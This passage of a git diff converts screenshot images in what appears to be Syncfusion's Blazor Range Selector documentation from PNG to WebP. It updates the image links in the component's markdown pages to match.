Binary files a/blazor/range-selector/images/grid-tick/blazor-rangenavigator-grid-line.png and /dev/null differ
diff --git a/blazor/range-selector/images/grid-tick/blazor-rangenavigator-grid-line.webp b/blazor/range-selector/images/grid-tick/blazor-rangenavigator-grid-line.webp
new file mode 100644
index 0000000000..e7578473ab
Binary files /dev/null and b/blazor/range-selector/images/grid-tick/blazor-rangenavigator-grid-line.webp differ
diff --git a/blazor/range-selector/images/grid-tick/blazor-rangenavigator-tick-line.png b/blazor/range-selector/images/grid-tick/blazor-rangenavigator-tick-line.png
deleted file mode 100644
index 8d858b35b0..0000000000
Binary files a/blazor/range-selector/images/grid-tick/blazor-rangenavigator-tick-line.png and /dev/null differ
diff --git a/blazor/range-selector/images/grid-tick/blazor-rangenavigator-tick-line.webp b/blazor/range-selector/images/grid-tick/blazor-rangenavigator-tick-line.webp
new file mode 100644
index 0000000000..9271f43593
Binary files /dev/null and b/blazor/range-selector/images/grid-tick/blazor-rangenavigator-tick-line.webp differ
diff --git a/blazor/range-selector/images/image1.png b/blazor/range-selector/images/image1.png
deleted file mode 100644
index 1a901e1446..0000000000
Binary files a/blazor/range-selector/images/image1.png and /dev/null differ
diff --git a/blazor/range-selector/images/image1.webp b/blazor/range-selector/images/image1.webp
new file mode 100644
index 0000000000..8730448b0c
Binary files /dev/null and b/blazor/range-selector/images/image1.webp differ
diff --git a/blazor/range-selector/images/image2.png b/blazor/range-selector/images/image2.png
deleted file mode 100644
index fe111c139e..0000000000
Binary files a/blazor/range-selector/images/image2.png and /dev/null differ
diff --git a/blazor/range-selector/images/image2.webp b/blazor/range-selector/images/image2.webp
new file mode 100644
index 0000000000..c5e3548342
Binary files /dev/null and b/blazor/range-selector/images/image2.webp differ
diff --git a/blazor/range-selector/images/image3.png b/blazor/range-selector/images/image3.png
deleted file mode 100644
index a5b02bdbec..0000000000
Binary files a/blazor/range-selector/images/image3.png and /dev/null differ
diff --git a/blazor/range-selector/images/image3.webp b/blazor/range-selector/images/image3.webp
new file mode 100644
index 0000000000..8d588157a5
Binary files /dev/null and b/blazor/range-selector/images/image3.webp differ
diff --git a/blazor/range-selector/images/image5.png b/blazor/range-selector/images/image5.png
deleted file mode 100644
index 72f9986edd..0000000000
Binary files a/blazor/range-selector/images/image5.png and /dev/null differ
diff --git a/blazor/range-selector/images/image5.webp b/blazor/range-selector/images/image5.webp
new file mode 100644
index 0000000000..dedfe67a6a
Binary files /dev/null and b/blazor/range-selector/images/image5.webp differ
diff --git a/blazor/range-selector/images/image6.png b/blazor/range-selector/images/image6.png
deleted file mode 100644
index 1dd6caad41..0000000000
Binary files a/blazor/range-selector/images/image6.png and /dev/null differ
diff --git a/blazor/range-selector/images/image6.webp b/blazor/range-selector/images/image6.webp
new file mode 100644
index 0000000000..d9e267635f
Binary files /dev/null and b/blazor/range-selector/images/image6.webp differ
diff --git a/blazor/range-selector/images/import-cdn.png b/blazor/range-selector/images/import-cdn.png
deleted file mode 100644
index 6068aeb265..0000000000
Binary files a/blazor/range-selector/images/import-cdn.png and /dev/null differ
diff --git a/blazor/range-selector/images/import-cdn.webp b/blazor/range-selector/images/import-cdn.webp
new file mode 100644
index 0000000000..8fdea7d1f7
Binary files /dev/null and b/blazor/range-selector/images/import-cdn.webp differ
diff --git a/blazor/range-selector/images/labels/blazor-rangenavigator-change-label-position.png b/blazor/range-selector/images/labels/blazor-rangenavigator-change-label-position.png
deleted file mode 100644
index 3e0955a01f..0000000000
Binary files a/blazor/range-selector/images/labels/blazor-rangenavigator-change-label-position.png and /dev/null differ
diff --git a/blazor/range-selector/images/labels/blazor-rangenavigator-change-label-position.webp b/blazor/range-selector/images/labels/blazor-rangenavigator-change-label-position.webp
new file mode 100644
index 0000000000..de23339b66
Binary files /dev/null and b/blazor/range-selector/images/labels/blazor-rangenavigator-change-label-position.webp differ
diff --git a/blazor/range-selector/images/labels/blazor-rangenavigator-custom-label.png b/blazor/range-selector/images/labels/blazor-rangenavigator-custom-label.png
deleted file mode 100644
index 6590686b26..0000000000
Binary files a/blazor/range-selector/images/labels/blazor-rangenavigator-custom-label.png and /dev/null differ
diff --git a/blazor/range-selector/images/labels/blazor-rangenavigator-custom-label.webp b/blazor/range-selector/images/labels/blazor-rangenavigator-custom-label.webp
new file mode 100644
index 0000000000..1fc14691b7
Binary files /dev/null and b/blazor/range-selector/images/labels/blazor-rangenavigator-custom-label.webp differ
diff --git a/blazor/range-selector/images/labels/blazor-rangenavigator-grouping.png b/blazor/range-selector/images/labels/blazor-rangenavigator-grouping.png
deleted file mode 100644
index e16ecb5a94..0000000000
Binary files a/blazor/range-selector/images/labels/blazor-rangenavigator-grouping.png and /dev/null differ
diff --git a/blazor/range-selector/images/labels/blazor-rangenavigator-grouping.webp b/blazor/range-selector/images/labels/blazor-rangenavigator-grouping.webp
new file mode 100644
index 0000000000..acb98587aa
Binary files /dev/null and b/blazor/range-selector/images/labels/blazor-rangenavigator-grouping.webp differ
diff --git a/blazor/range-selector/images/labels/blazor-rangenavigator-multilevel-labels.png b/blazor/range-selector/images/labels/blazor-rangenavigator-multilevel-labels.png
deleted file mode 100644
index 97d1d9b43d..0000000000
Binary files a/blazor/range-selector/images/labels/blazor-rangenavigator-multilevel-labels.png and /dev/null differ
diff --git a/blazor/range-selector/images/labels/blazor-rangenavigator-multilevel-labels.webp b/blazor/range-selector/images/labels/blazor-rangenavigator-multilevel-labels.webp
new file mode 100644
index 0000000000..e2053d7bc9
Binary files /dev/null and b/blazor/range-selector/images/labels/blazor-rangenavigator-multilevel-labels.webp differ
diff --git a/blazor/range-selector/images/labels/blazor-rangenavigator-smart-labels.png b/blazor/range-selector/images/labels/blazor-rangenavigator-smart-labels.png
deleted file mode 100644
index 42e914f19a..0000000000
Binary files a/blazor/range-selector/images/labels/blazor-rangenavigator-smart-labels.png and /dev/null differ
diff --git a/blazor/range-selector/images/labels/blazor-rangenavigator-smart-labels.webp b/blazor/range-selector/images/labels/blazor-rangenavigator-smart-labels.webp
new file mode 100644
index 0000000000..78d18cc3c5
Binary files /dev/null and b/blazor/range-selector/images/labels/blazor-rangenavigator-smart-labels.webp differ
diff --git a/blazor/range-selector/images/new-project.png b/blazor/range-selector/images/new-project.png
deleted file mode 100644
index 057f6b0f7c..0000000000
Binary files a/blazor/range-selector/images/new-project.png and /dev/null differ
diff --git a/blazor/range-selector/images/new-project.webp b/blazor/range-selector/images/new-project.webp
new file mode 100644
index 0000000000..6ac8098d50
Binary files /dev/null and b/blazor/range-selector/images/new-project.webp differ
diff --git a/blazor/range-selector/images/nuget-explorer.png b/blazor/range-selector/images/nuget-explorer.png
deleted file mode 100644
index f9306f219e..0000000000
Binary files a/blazor/range-selector/images/nuget-explorer.png and /dev/null differ
diff --git a/blazor/range-selector/images/nuget-explorer.webp b/blazor/range-selector/images/nuget-explorer.webp
new file mode 100644
index 0000000000..4353f9ac92
Binary files /dev/null and b/blazor/range-selector/images/nuget-explorer.webp differ
diff --git a/blazor/range-selector/images/period-selector/blazor-rangenavigator-period-position.png b/blazor/range-selector/images/period-selector/blazor-rangenavigator-period-position.png
deleted file mode 100644
index 815bd4de30..0000000000
Binary files a/blazor/range-selector/images/period-selector/blazor-rangenavigator-period-position.png and /dev/null differ
diff --git a/blazor/range-selector/images/period-selector/blazor-rangenavigator-period-position.webp b/blazor/range-selector/images/period-selector/blazor-rangenavigator-period-position.webp
new file mode 100644
index 0000000000..321d5e130a
Binary files /dev/null and b/blazor/range-selector/images/period-selector/blazor-rangenavigator-period-position.webp differ
diff --git a/blazor/range-selector/images/period-selector/blazor-rangenavigator-periods-selection.png b/blazor/range-selector/images/period-selector/blazor-rangenavigator-periods-selection.png
deleted file mode 100644
index b08bc7de52..0000000000
Binary files a/blazor/range-selector/images/period-selector/blazor-rangenavigator-periods-selection.png and /dev/null differ
diff --git a/blazor/range-selector/images/period-selector/blazor-rangenavigator-periods-selection.webp b/blazor/range-selector/images/period-selector/blazor-rangenavigator-periods-selection.webp
new file mode 100644
index 0000000000..0dc376f08a
Binary files /dev/null and b/blazor/range-selector/images/period-selector/blazor-rangenavigator-periods-selection.webp differ
diff --git a/blazor/range-selector/images/period-selector/blazor-rangenavigator-specific-period-height.png b/blazor/range-selector/images/period-selector/blazor-rangenavigator-specific-period-height.png
deleted file mode 100644
index 1106b1feed..0000000000
Binary files a/blazor/range-selector/images/period-selector/blazor-rangenavigator-specific-period-height.png and /dev/null differ
diff --git a/blazor/range-selector/images/period-selector/blazor-rangenavigator-specific-period-height.webp b/blazor/range-selector/images/period-selector/blazor-rangenavigator-specific-period-height.webp
new file mode 100644
index 0000000000..b83973e05f
Binary files /dev/null and b/blazor/range-selector/images/period-selector/blazor-rangenavigator-specific-period-height.webp differ
diff --git a/blazor/range-selector/images/select-nuget.png b/blazor/range-selector/images/select-nuget.png
deleted file mode 100644
index 4b67d0ce11..0000000000
Binary files a/blazor/range-selector/images/select-nuget.png and /dev/null differ
diff --git a/blazor/range-selector/images/select-nuget.webp b/blazor/range-selector/images/select-nuget.webp
new file mode 100644
index 0000000000..d3bdf0e663
Binary files /dev/null and b/blazor/range-selector/images/select-nuget.webp differ
diff --git a/blazor/range-selector/images/series-type/blazor-rangenavigator-area-series.png b/blazor/range-selector/images/series-type/blazor-rangenavigator-area-series.png
deleted file mode 100644
index 3bc69947bb..0000000000
Binary files a/blazor/range-selector/images/series-type/blazor-rangenavigator-area-series.png and /dev/null differ
diff --git a/blazor/range-selector/images/series-type/blazor-rangenavigator-area-series.webp b/blazor/range-selector/images/series-type/blazor-rangenavigator-area-series.webp
new file mode 100644
index 0000000000..f9e79b88df
Binary files /dev/null and b/blazor/range-selector/images/series-type/blazor-rangenavigator-area-series.webp differ
diff --git a/blazor/range-selector/images/series-type/blazor-rangenavigator-line-series.png b/blazor/range-selector/images/series-type/blazor-rangenavigator-line-series.png
deleted file mode 100644
index 5d261802b6..0000000000
Binary files a/blazor/range-selector/images/series-type/blazor-rangenavigator-line-series.png and /dev/null differ
diff --git a/blazor/range-selector/images/series-type/blazor-rangenavigator-line-series.webp b/blazor/range-selector/images/series-type/blazor-rangenavigator-line-series.webp
new file mode 100644
index 0000000000..fb2d533b25
Binary files /dev/null and b/blazor/range-selector/images/series-type/blazor-rangenavigator-line-series.webp differ
diff --git a/blazor/range-selector/images/series-type/blazor-rangenavigator-stepline-series.png b/blazor/range-selector/images/series-type/blazor-rangenavigator-stepline-series.png
deleted file mode 100644
index 6f1e76c6f8..0000000000
Binary files a/blazor/range-selector/images/series-type/blazor-rangenavigator-stepline-series.png and /dev/null differ
diff --git a/blazor/range-selector/images/series-type/blazor-rangenavigator-stepline-series.webp b/blazor/range-selector/images/series-type/blazor-rangenavigator-stepline-series.webp
new file mode 100644
index 0000000000..ea4c4a2b38
Binary files /dev/null and b/blazor/range-selector/images/series-type/blazor-rangenavigator-stepline-series.webp differ
diff --git a/blazor/range-selector/images/server-side.png b/blazor/range-selector/images/server-side.png
deleted file mode 100644
index 5873cf9e89..0000000000
Binary files a/blazor/range-selector/images/server-side.png and /dev/null differ
diff --git a/blazor/range-selector/images/server-side.webp b/blazor/range-selector/images/server-side.webp
new file mode 100644
index 0000000000..489af36504
Binary files /dev/null and b/blazor/range-selector/images/server-side.webp differ
diff --git a/blazor/range-selector/images/style/blazor-rangenavigator-background-color.png b/blazor/range-selector/images/style/blazor-rangenavigator-background-color.png
deleted file mode 100644
index bf2dcc57c7..0000000000
Binary files a/blazor/range-selector/images/style/blazor-rangenavigator-background-color.png and /dev/null differ
diff --git a/blazor/range-selector/images/style/blazor-rangenavigator-background-color.webp b/blazor/range-selector/images/style/blazor-rangenavigator-background-color.webp
new file mode 100644
index 0000000000..76d63b41ce
Binary files /dev/null and b/blazor/range-selector/images/style/blazor-rangenavigator-background-color.webp differ
diff --git a/blazor/range-selector/images/style/blazor-rangenavigator-label-customization.png b/blazor/range-selector/images/style/blazor-rangenavigator-label-customization.png
deleted file mode 100644
index 0d831cb261..0000000000
Binary files a/blazor/range-selector/images/style/blazor-rangenavigator-label-customization.png and /dev/null differ
diff --git a/blazor/range-selector/images/style/blazor-rangenavigator-label-customization.webp b/blazor/range-selector/images/style/blazor-rangenavigator-label-customization.webp
new file mode 100644
index 0000000000..e585de2462
Binary files /dev/null and b/blazor/range-selector/images/style/blazor-rangenavigator-label-customization.webp differ
diff --git a/blazor/range-selector/images/style/blazor-rangenavigator-selected-area-customization.png b/blazor/range-selector/images/style/blazor-rangenavigator-selected-area-customization.png
deleted file mode 100644
index 0377f872bf..0000000000
Binary files a/blazor/range-selector/images/style/blazor-rangenavigator-selected-area-customization.png and /dev/null differ
diff --git a/blazor/range-selector/images/style/blazor-rangenavigator-selected-area-customization.webp b/blazor/range-selector/images/style/blazor-rangenavigator-selected-area-customization.webp
new file mode 100644
index 0000000000..17dea585b1
Binary files /dev/null and b/blazor/range-selector/images/style/blazor-rangenavigator-selected-area-customization.webp differ
diff --git a/blazor/range-selector/images/style/blazor-rangenavigator-unselected-area-customization.png b/blazor/range-selector/images/style/blazor-rangenavigator-unselected-area-customization.png
deleted file mode 100644
index a3ff54ca05..0000000000
Binary files a/blazor/range-selector/images/style/blazor-rangenavigator-unselected-area-customization.png and /dev/null differ
diff --git a/blazor/range-selector/images/style/blazor-rangenavigator-unselected-area-customization.webp b/blazor/range-selector/images/style/blazor-rangenavigator-unselected-area-customization.webp
new file mode 100644
index 0000000000..fb6c0676c0
Binary files /dev/null and b/blazor/range-selector/images/style/blazor-rangenavigator-unselected-area-customization.webp differ
diff --git a/blazor/range-selector/images/tooltip/blazor-rangenavigator-custom-tooltip.png b/blazor/range-selector/images/tooltip/blazor-rangenavigator-custom-tooltip.png
deleted file mode 100644
index 7da09138b6..0000000000
Binary files a/blazor/range-selector/images/tooltip/blazor-rangenavigator-custom-tooltip.png and /dev/null differ
diff --git a/blazor/range-selector/images/tooltip/blazor-rangenavigator-custom-tooltip.webp b/blazor/range-selector/images/tooltip/blazor-rangenavigator-custom-tooltip.webp
new file mode 100644
index 0000000000..e2cabd228c
Binary files /dev/null and b/blazor/range-selector/images/tooltip/blazor-rangenavigator-custom-tooltip.webp differ
diff --git a/blazor/range-selector/images/tooltip/blazor-rangenavigator-tooltip-format.png b/blazor/range-selector/images/tooltip/blazor-rangenavigator-tooltip-format.png
deleted file mode 100644
index 42c1acc9f6..0000000000
Binary files a/blazor/range-selector/images/tooltip/blazor-rangenavigator-tooltip-format.png and /dev/null differ
diff --git a/blazor/range-selector/images/tooltip/blazor-rangenavigator-tooltip-format.webp b/blazor/range-selector/images/tooltip/blazor-rangenavigator-tooltip-format.webp
new file mode 100644
index 0000000000..2062e9558f
Binary files /dev/null and b/blazor/range-selector/images/tooltip/blazor-rangenavigator-tooltip-format.webp differ
diff --git a/blazor/range-selector/images/tooltip/blazor-rangenavigator-tooltip.png b/blazor/range-selector/images/tooltip/blazor-rangenavigator-tooltip.png
deleted file mode 100644
index 9c562f7709..0000000000
Binary files a/blazor/range-selector/images/tooltip/blazor-rangenavigator-tooltip.png and /dev/null differ
diff --git a/blazor/range-selector/images/tooltip/blazor-rangenavigator-tooltip.webp b/blazor/range-selector/images/tooltip/blazor-rangenavigator-tooltip.webp
new file mode 100644
index 0000000000..f7e04e0283
Binary files /dev/null and b/blazor/range-selector/images/tooltip/blazor-rangenavigator-tooltip.webp differ
diff --git a/blazor/range-selector/images/working-data/blazor-range-dynamic-object.png b/blazor/range-selector/images/working-data/blazor-range-dynamic-object.png
deleted file mode 100644
index 809d235551..0000000000
Binary files a/blazor/range-selector/images/working-data/blazor-range-dynamic-object.png and /dev/null differ
diff --git a/blazor/range-selector/images/working-data/blazor-range-dynamic-object.webp b/blazor/range-selector/images/working-data/blazor-range-dynamic-object.webp
new file mode 100644
index 0000000000..0b4ddb70b1
Binary files /dev/null and b/blazor/range-selector/images/working-data/blazor-range-dynamic-object.webp differ
diff --git a/blazor/range-selector/images/working-data/blazor-range-expando-object.png b/blazor/range-selector/images/working-data/blazor-range-expando-object.png
deleted file mode 100644
index 734a7afc50..0000000000
Binary files a/blazor/range-selector/images/working-data/blazor-range-expando-object.png and /dev/null differ
diff --git a/blazor/range-selector/images/working-data/blazor-range-expando-object.webp b/blazor/range-selector/images/working-data/blazor-range-expando-object.webp
new file mode 100644
index 0000000000..9e12faf304
Binary files /dev/null and b/blazor/range-selector/images/working-data/blazor-range-expando-object.webp differ
diff --git a/blazor/range-selector/images/working-data/blazor-range-list-binding.png b/blazor/range-selector/images/working-data/blazor-range-list-binding.png
deleted file mode 100644
index 52ae3aed9c..0000000000
Binary files a/blazor/range-selector/images/working-data/blazor-range-list-binding.png and /dev/null differ
diff --git a/blazor/range-selector/images/working-data/blazor-range-list-binding.webp b/blazor/range-selector/images/working-data/blazor-range-list-binding.webp
new file mode 100644
index 0000000000..0f567c4245
Binary files /dev/null and b/blazor/range-selector/images/working-data/blazor-range-list-binding.webp differ
diff --git a/blazor/range-selector/images/working-data/blazor-range-observable-collection.png b/blazor/range-selector/images/working-data/blazor-range-observable-collection.png
deleted file mode 100644
index f132034f98..0000000000
Binary files a/blazor/range-selector/images/working-data/blazor-range-observable-collection.png and /dev/null differ
diff --git a/blazor/range-selector/images/working-data/blazor-range-observable-collection.webp b/blazor/range-selector/images/working-data/blazor-range-observable-collection.webp
new file mode 100644
index 0000000000..24760b845f
Binary files /dev/null and b/blazor/range-selector/images/working-data/blazor-range-observable-collection.webp differ
diff --git a/blazor/range-selector/images/working-data/blazor-range-remote-data.png b/blazor/range-selector/images/working-data/blazor-range-remote-data.png
deleted file mode 100644
index 87aa8bd114..0000000000
Binary files a/blazor/range-selector/images/working-data/blazor-range-remote-data.png and /dev/null differ
diff --git a/blazor/range-selector/images/working-data/blazor-range-remote-data.webp b/blazor/range-selector/images/working-data/blazor-range-remote-data.webp
new file mode 100644
index 0000000000..affacfe357
Binary files /dev/null and b/blazor/range-selector/images/working-data/blazor-range-remote-data.webp differ
diff --git a/blazor/range-selector/labels.md b/blazor/range-selector/labels.md
index f5a9e978d6..023adf7d61 100644
--- a/blazor/range-selector/labels.md
+++ b/blazor/range-selector/labels.md
@@ -44,7 +44,7 @@ The multi-level labels for the Range Selector can be enabled by setting the [Ena
 
 ```
 
-![Blazor RangeNavigator with Multilevel Labels](images/labels/blazor-rangenavigator-multilevel-labels.png)
+![Blazor RangeNavigator with Multilevel Labels](images/labels/blazor-rangenavigator-multilevel-labels.webp)
 
 ## Grouping
 
@@ -93,7 +93,7 @@ The multi-level labels can be grouped using the [GroupBy](https://help.syncfusio
 
 ```
 
-![Grouping in Blazor RangeNavigator](images/labels/blazor-rangenavigator-grouping.png)
+![Grouping in Blazor RangeNavigator](images/labels/blazor-rangenavigator-grouping.webp)
 
 ## Smart labels
 
@@ -134,7 +134,7 @@ The [LabelIntersectAction](https://help.syncfusion.com/cr/blazor/Syncfusion.Blaz
 
 ```
 
-![Blazor RangeNavigator with Smart Labels](images/labels/blazor-rangenavigator-smart-labels.png)
+![Blazor RangeNavigator with Smart Labels](images/labels/blazor-rangenavigator-smart-labels.webp)
 
 ## Position
 
@@ -174,7 +174,7 @@ By default, the labels can be placed outside the Range Selector. It can also be
 
 ```
 
-![Changing Label Position in Blazor RangeNavigator](images/labels/blazor-rangenavigator-change-label-position.png)
+![Changing Label Position in Blazor RangeNavigator](images/labels/blazor-rangenavigator-change-label-position.webp)
 
 ## Labels Customization
 
@@ -212,4 +212,4 @@ The font size, color, family, etc. can be customized using the [RangeNavigatorLa
 
 ```
 
-![Blazor RangeNavigator with Custom Label](images/labels/blazor-rangenavigator-custom-label.png)
\ No newline at end of file
+![Blazor RangeNavigator with Custom Label](images/labels/blazor-rangenavigator-custom-label.webp)
\ No newline at end of file
diff --git a/blazor/range-selector/light-weight.md b/blazor/range-selector/light-weight.md
index b02fc792f1..2face704f5 100644
--- a/blazor/range-selector/light-weight.md
+++ b/blazor/range-selector/light-weight.md
@@ -44,7 +44,7 @@ By default, when the [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusi
 
 ```
 
-![Blazor RangeNavigator with Lightweight](images/common/blazor-rangenavigator-light-weight.png)
+![Blazor RangeNavigator with Lightweight](images/common/blazor-rangenavigator-light-weight.webp)
 
 ## See Also
 
diff --git a/blazor/range-selector/period-selector.md b/blazor/range-selector/period-selector.md
index c2d32f6497..7927dc9b38 100644
--- a/blazor/range-selector/period-selector.md
+++ b/blazor/range-selector/period-selector.md
@@ -70,7 +70,7 @@ An array of objects that allows the users to specify pre-defined time intervals.
 
 ```
 
-![Blazor RangeNavigator with Periods Selection](images/period-selector/blazor-rangenavigator-periods-selection.png)
+![Blazor RangeNavigator with Periods Selection](images/period-selector/blazor-rangenavigator-periods-selection.webp)
 
 ## Position
 
@@ -121,7 +121,7 @@ The [Position](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.Ra
 
 ```
 
-![Changing Period Position in Blazor RangeNavigator](images/period-selector/blazor-rangenavigator-period-position.png)
+![Changing Period Position in Blazor RangeNavigator](images/period-selector/blazor-rangenavigator-period-position.webp)
 
 ## Height
 
@@ -172,7 +172,7 @@ The [Height](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.Rang
 
 ```
 
-![Blazor RangeNavigator with Specific Period Height](images/period-selector/blazor-rangenavigator-specific-period-height.png)
+![Blazor RangeNavigator with Specific Period Height](images/period-selector/blazor-rangenavigator-specific-period-height.webp)
 
 ## Visibility
 
diff --git a/blazor/range-selector/r-t-l.md b/blazor/range-selector/r-t-l.md
index 54dafe51a8..8250ab99e0 100644
--- a/blazor/range-selector/r-t-l.md
+++ b/blazor/range-selector/r-t-l.md
@@ -44,4 +44,4 @@ The Range Selector supports right-to-left (RTL), which can be enabled with the [
 }
 ```
 
-![Right to Left in Blazor RangeNavigator](images/common/blazor-rangenavigator-rght-to-left.png)
\ No newline at end of file
+![Right to Left in Blazor RangeNavigator](images/common/blazor-rangenavigator-rght-to-left.webp)
\ No newline at end of file
diff --git a/blazor/range-selector/range.md b/blazor/range-selector/range.md
index bd605368c6..408e1c54a3 100644
--- a/blazor/range-selector/range.md
+++ b/blazor/range-selector/range.md
@@ -65,7 +65,7 @@ As shown in the following example, the [Value](https://help.syncfusion.com/cr/bl
 
 ```
 
-![Selecting Range in Blazor RangeNavigator](images/common/blazor-rangenavigator-range-selection.png)
+![Selecting Range in Blazor RangeNavigator](images/common/blazor-rangenavigator-range-selection.webp)
 
 ### Two-way binding
 
@@ -108,4 +108,4 @@ The **@bind-Value** code-behind attribute in the Range Selector can be used to a
 
 ```
 
-![Selecting Range in Blazor RangeNavigator](images/common/blazor-rangenavigator-range-selection.png)
\ No newline at end of file
+![Selecting Range in Blazor RangeNavigator](images/common/blazor-rangenavigator-range-selection.webp)
\ No newline at end of file
diff --git a/blazor/range-selector/series-type.md b/blazor/range-selector/series-type.md
index 87f3b03e0f..a41aaa3978 100644
--- a/blazor/range-selector/series-type.md
+++ b/blazor/range-selector/series-type.md
@@ -54,7 +54,7 @@ To render a line series, use series [Type](https://help.syncfusion.com/cr/blazor
 
 ```
 
-![Blazor RangeNavigator with Line Series](images/series-type/blazor-rangenavigator-line-series.png)
+![Blazor RangeNavigator with Line Series](images/series-type/blazor-rangenavigator-line-series.webp)
 
 ## Area
 
@@ -95,7 +95,7 @@ To render an area series, use series [Type](https://help.syncfusion.com/cr/blazo
 
 ```
 
-![Blazor RangeNavigator with Area Series](images/series-type/blazor-rangenavigator-area-series.png)
+![Blazor RangeNavigator with Area Series](images/series-type/blazor-rangenavigator-area-series.webp)
 
 ## Step Line
 
@@ -135,4 +135,4 @@ To render a Step line series, use series [Type](https://help.syncfusion.com/cr/b
 
 ```
 
-![Blazor RangeNavigator with StepLine Series](images/series-type/blazor-rangenavigator-stepline-series.png)
\ No newline at end of file
+![Blazor RangeNavigator with StepLine Series](images/series-type/blazor-rangenavigator-stepline-series.webp)
\ No newline at end of file
diff --git a/blazor/range-selector/style-appearance.md b/blazor/range-selector/style-appearance.md
index bfcdaffdd9..07368a04be 100644
--- a/blazor/range-selector/style-appearance.md
+++ b/blazor/range-selector/style-appearance.md
@@ -62,7 +62,7 @@ Customize the root container of the Range Navigator to apply global styling such
 
 This styles the entire Range Navigator container.
 
-![Blazor RangeNavigator with Background Customization](images/style/blazor-rangenavigator-background-color.png)
+![Blazor RangeNavigator with Background Customization](images/style/blazor-rangenavigator-background-color.webp)
 
 ## Customize Unselected Range Regions
 
@@ -86,7 +86,7 @@ Modify the appearance of unselected regions (left and right areas outside the se
 }
 ```
 
-![Blazor RangeNavigator Unselected Area Customization](images/style/blazor-rangenavigator-unselected-area-customization.png)
+![Blazor RangeNavigator Unselected Area Customization](images/style/blazor-rangenavigator-unselected-area-customization.webp)
 
 ## Customize Selected Range Region
 Style the highlighted selected range area to emphasize the active data range and improve visual focus. The selected region can be customized to stand out from unselected areas, making it easier for users to identify the current selection.
@@ -100,7 +100,7 @@ Style the highlighted selected range area to emphasize the active data range and
 
 This CSS overrides the default theme color and the color set through [RangeNavigatorStyleSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.RangeNavigatorStyleSettings.html).
 
-![Blazor RangeNavigator Selected Area Customization](images/style/blazor-rangenavigator-selected-area-customization.png)
+![Blazor RangeNavigator Selected Area Customization](images/style/blazor-rangenavigator-selected-area-customization.webp)
 
 ## Customize Axis Label Text
 Format the axis labels to match your application's typography and readability standards. Control font size, color, weight, and family to ensure axis labels are prominent and aligned with your design system. This improves data readability and visual hierarchy in the Range Navigator.
@@ -114,6 +114,6 @@ Format the axis labels to match your application's typography and readability st
 }
 ```
 
-![Blazor RangeNavigator Label Customization](images/style/blazor-rangenavigator-label-customization.png)
+![Blazor RangeNavigator Label Customization](images/style/blazor-rangenavigator-label-customization.webp)
 
 N> SVG presentation attributes such as fill, stroke, and font-size may require **!important** when overridden by inline SVG styles.
\ No newline at end of file
diff --git a/blazor/range-selector/tool-tip.md b/blazor/range-selector/tool-tip.md
index 41fe4b378a..105c3080c2 100644
--- a/blazor/range-selector/tool-tip.md
+++ b/blazor/range-selector/tool-tip.md
@@ -56,7 +56,7 @@ The tooltip can be used to display information about the selected data and it is
 
 ```
 
-![Blazor RangeNavigator displays Tooltip](images/tooltip/blazor-rangenavigator-tooltip.png)
+![Blazor RangeNavigator displays Tooltip](images/tooltip/blazor-rangenavigator-tooltip.webp)
 
 ## Tooltip Customization
 
@@ -108,7 +108,7 @@ The tooltip can be customized using the following properties:
 
 ```
 
-![Blazor RangeNavigator with Custom Tooltip](images/tooltip/blazor-rangenavigator-custom-tooltip.png)
+![Blazor RangeNavigator with Custom Tooltip](images/tooltip/blazor-rangenavigator-custom-tooltip.webp)
 
 ## Label Format
 
@@ -151,7 +151,7 @@ The [LabelFormat](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts
 
 ```
 
-![Changing Tooltip Format in Blazor RangeNavigator](images/tooltip/blazor-rangenavigator-tooltip-format.png)
+![Changing Tooltip Format in Blazor RangeNavigator](images/tooltip/blazor-rangenavigator-tooltip-format.webp)
 
 The following table shows the results of applying some common date and time formats to the [LabelFormat](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.SfRangeNavigator.html#Syncfusion_Blazor_Charts_SfRangeNavigator_LabelFormat) property.
 
diff --git a/blazor/range-selector/working-with-data.md b/blazor/range-selector/working-with-data.md
index 8512d14908..dba0b9b653 100644
--- a/blazor/range-selector/working-with-data.md
+++ b/blazor/range-selector/working-with-data.md
@@ -56,7 +56,7 @@ To do list binding to the Range Selector, you can assign a IEnumerable object to
 
 ```
 
-![Blazor Range Navigator with List](images/working-data/blazor-range-list-binding.png)
+![Blazor Range Navigator with List](images/working-data/blazor-range-list-binding.webp)
 
 N> By default, [SfDataManager](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Data.SfDataManager.html) uses **BlazorAdaptor** for list data-binding.
 
@@ -96,7 +96,7 @@ Range Selector is a generic component which is strongly bound to a model type. T
 }
 ```
 
-![Blazor Range Navigator with ExpandoObject](images/working-data/blazor-range-expando-object.png)
+![Blazor Range Navigator with ExpandoObject](images/working-data/blazor-range-expando-object.webp)
 
 ### DynamicObject binding
 
@@ -157,7 +157,7 @@ Range Selector supports **DynamicObject** data source when the model type is unk
 
 ```
 
-![Blazor Range Navigator with DynamicObject](images/working-data/blazor-range-dynamic-object.png)
+![Blazor Range Navigator with DynamicObject](images/working-data/blazor-range-dynamic-object.webp)
 
 ## Remote data
 
@@ -180,7 +180,7 @@ Range Selector supports **DynamicObject** data source when the model type is unk
 
 ```
 
-![Blazor Range Navigator with OData Adaptor](images/working-data/blazor-range-remote-data.png)
+![Blazor Range Navigator with OData Adaptor](images/working-data/blazor-range-remote-data.webp)
 
 ### Binding with OData v4 services
 
@@ -201,7 +201,7 @@ The [SfDataManager](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Data
 
 ```
 
-![Blazor Range Navigator with OData v4 adaptor](images/working-data/blazor-range-remote-data.png)
+![Blazor Range Navigator with OData v4 adaptor](images/working-data/blazor-range-remote-data.webp)
 
 ### Web API
 
@@ -221,7 +221,7 @@ The [WebApiAdaptor](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Data
 
 ```
 
-![Blazor Range Navigator with Web API](images/working-data/blazor-range-remote-data.png)
+![Blazor Range Navigator with Web API](images/working-data/blazor-range-remote-data.webp)
 
 ### Sending additional parameters to the server
 
@@ -251,7 +251,7 @@ The following sample code shows how to send parameters using the `Query` propert
 
 }
 ```
-![Blazor Range Navigator with Query](images/working-data/blazor-range-remote-data.png)
+![Blazor Range Navigator with Query](images/working-data/blazor-range-remote-data.webp)
 
 ## Observable collection
 
